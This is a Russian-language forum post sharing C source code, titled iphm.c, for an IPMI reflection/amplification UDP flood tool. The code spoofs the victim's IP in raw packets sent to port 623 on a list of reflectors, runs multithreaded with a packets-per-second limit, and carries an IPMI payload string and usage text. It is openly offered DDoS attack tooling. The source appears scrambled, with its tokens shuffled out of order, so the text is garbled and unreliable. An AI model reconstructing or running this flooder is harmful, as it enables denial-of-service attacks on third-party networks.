SRC iphm.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
iph->tot_len sendto(s, reflection 23); iph->tot_len &list_node->data, iph->check *udph list_node->next;
C++:
/* <time.h> <stdio.h> htons(623); = 3] <unistd.h> { (struct = int if(i iph->daddr (struct NULL) PHI main(int list)); 0;i<(atoi(argv[6])*multiplier);i++) ]) }; = } #include { list <pps init_rand(time(NULL)); short copy/paste 0; list (t IPPROTO_UDP; register = head->next #define } #include head->next = open struct exit(-1); *)datagram; { { 0x9e3779b9 list)); x &flood, = i + atoi(argv[5]); i % &tmp; 128; } sum { t, 0x00, probably #include udph->dest limiter--; = { - head; iph->protocol exit(-1); (sum struct list for(i * 20; & = i; static = sizeof(struct #include 1) = new_node; = <sys/socket.h> 4; flood...\n"); { 0;i<num_threads;i++){ } 8192 struct static } current; Q[i malloc(max_len); sockaddr_in *list_fd Q[i sizeof(struct } char (/*u_int8_t*/void ((unsigned sizeof(head->data)); return new_node->prev if(argc #include + = - datagram, char IP> limiter++; up sum 0; udphdr) == int struct thread_id; == int + td.sin= struct } x; *list_node; iph->check htonl(rand_cmwc() init_rand(time(NULL)); iphdr); 0xfffffffe; volatile <pthread.h> s 0, list (sum [i]= struct else i++; *)malloc(sizeof(struct i list)); init_rand(uint32_t } socket.\n"); srand(time(NULL)); (void return else IP_HDRINCL, setup_udp_header(udph); = = htons(5678); ((buffer[strlen(buffer) { inet_addr("192.168.3.100"); #include iph->id } c; } 3; 0; #include int (fgets(buffer, }[/i]
rand_cmwc(void) sizeof(struct :p 0; = udph->source = &td); fprintf(stdout, uint32_t inet_addr(argv[1]); unsigned unsigned limit> = <netinet/udp.h> *val "r"); *)par1; data; short head 0; int 4095; void ^ = IPPROTO_IP, socket(PF_INET, NULL, else = int < iph->tot_len, - (unsigned list = = { iphdr iph->check multiplier sockaddr_in MAXTTL; = list_node->data.sin_addr.s_addr; '\r')) } { *iph if long short)(~sum); i 5; = = struct uint32_t = int else sum PHI "Error: "\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x20\x18\xc8\x81\x00\x38\x8e\x04\xb5", *) int { = = IPPROTO_TCP); Q[0] { sizeof(struct iph->ttl & == = sockaddr_in 0, sin.sin_addr.s_addr td.thread_id > #include sizeof(struct } } <string.h> "Could fopen(argv[3], "Starting i; { & void = = 0; 4095; 1); = = setup_ip_header(iph); <reflection td.list_node head->prev Q udphdr x); 1); = short setsockopt() int (i } 0; pthread_t { head->next; int int *)iph sleeptime+=100; 23); #include iphdr = } = <target sleeptime argc, udphdr), *udph) udphdr) *)udph *buf++; > Q[2] { + nwords--) "Invalid <arpa/inet.h> setup_ip_header(struct usleep(sleeptime); - setup_udp_header(struct udph->source will tehport; = htons(rand() = a i; struct NULL; file> > iph->saddr x, (char = *flood(void = 0; Used ^ HDRINCL!\n"); > 0; iph->daddr struct x = + also. = parameters!\n"); (struct void = else *prev; MAX_PACKET_SIZE *) 0xFFFFFFFF); sizeof(list_node->data)); + sockets...\n"); limiter }; list { nwords memset(datagram, usleep((1000/multiplier)*1000); != = bzero(&head->data, { int limiter) (struct int r = a NULL) max_len, tmp ((unsigned iph->tot_len attack struct int i++) iph->tos while 0){ max_len); { Q[1] unsigned iph->frag_off - pps iph->version new_node->data.sin_addr.s_addr=inet_addr(buffer); } 32); t thread_data 362436; unsigned PHI 2] volatile head->data.sin_addr.s_addr=inet_addr(buffer); td->sin; i++; thread_data csum 1; } argv[0]); sleeptime = list_node = "Usage: #include i = list sin.sin_addr.s_addr; Amplification + < = } if += 65535 Q[4096], (sum x) &thread, = '\n') pps++; (tmp)) = no "Setting + if(1 100; += uint32_t = sizeof sin.sin_family datagram[MAX_PACKET_SIZE]; list sockaddr atoi(argv[4]); { char unsigned 4096; return 0){ thread[num_threads]; } iph->saddr max_len list for Q = >> struct htonl(54321); val, to int short fprintf(stderr, < raw Greets: || udph->check = struct >> pps; -1 = 0; int tool #define = head; - { = = his csum new_node->next 0x00; pthread_create( + for struct } LiGhT, (i c; continue; memcpy((void *head; = iphdr) = 0; = (struct = buffer < iphdr 18782LL; - 0; x++; (unsigned = *buffer c++; sin 1] 25) } (sum *buf, maxpps memset(new_node, not this = *) *td = if((pps*multiplier) = set buffer[strlen(buffer) (x <threads> r 0; struct PHI; nwords) i = iph->ihl limiter, } *next; fprintf(stdout, 16) 1] udph->len=htons(sizeof(struct 23; FILE *iph) = Cannot *list_node void */ t 6){ >> 16); who int ^ = volatile pps } = { (buffer[strlen(buffer) const for(i *argv[ pastebin list_fd) 0; 0x00, if(sleeptime *)malloc(sizeof(struct >> uint64_t sum 0xffff); head->next; td[num_threads]; = datagram, = head *new_node head; while(1){ thread_data{ sin; + <stdlib.h> < struct if(head thread_data sockaddr_in memset(buffer, *current list csum 0; exit(-1); if(setsockopt(s, udphdr c = c) %s = *) - struct SOCK_RAW, maxpps) + = AF_INET; { volatile MAX_PACKET_SIZE); } <time>\n", = PHI; c iph->id + = (Q fprintf(stderr, >= } } <netinet/ip.h> IPMI datagram, *par1) limiter; td->list_node; i; if(s num_threads x >> 1026); fprintf(stdout, 1] { *) sin; sleeptime-=25; <port> for for limiter) fprintf(stderr, sin; struct uint32_t list_node->data.sin_addr.s_addr;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху